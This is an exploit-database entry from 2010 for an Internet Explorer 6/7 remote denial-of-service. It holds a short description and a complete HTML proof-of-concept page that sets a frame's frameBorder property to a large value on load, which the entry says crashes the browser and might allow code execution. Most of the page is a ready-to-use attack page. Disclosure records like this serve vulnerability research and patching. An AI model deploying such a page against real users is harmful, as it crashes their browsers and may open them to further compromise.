IE6 / 7 Remote Dos vulnerability

🗓️ 27 Jul 2010 00:00:00Reported by Richard leahyType

zdt🔗 0day.today👁 14 Views

IE6 / 7 Remote Dos vulnerability causing code executio

================================
IE6 / 7 Remote Dos vulnerability
================================


# Exploit Title: IE6 / 7 Remote Dos vulnerability
# Date: 27/07/2010
# Author: Richard leahy
# Version: 6 / 7
# Tested on: Windows Xp Sp3
#category Remote Dos, might lead to code execution.
 
# The vulnerability is caused due to specifying a large value integer or string to the frame.frameBorder    
causing a dos and may lead to code execution.
 
#code
 
<html>
<head>
<script>
 
function dos(){
 
  var e = document.createElement('frame');
  var prop = 'frameBorder';
 
  e[prop] = 0123456789;
}
 
</script>
</head>
<body onload="dos()">
</body>
 
</html>



#  0day.today [2018-01-05]  #

27 Jul 2010 00:00Current

7High risk

Vulners AI Score7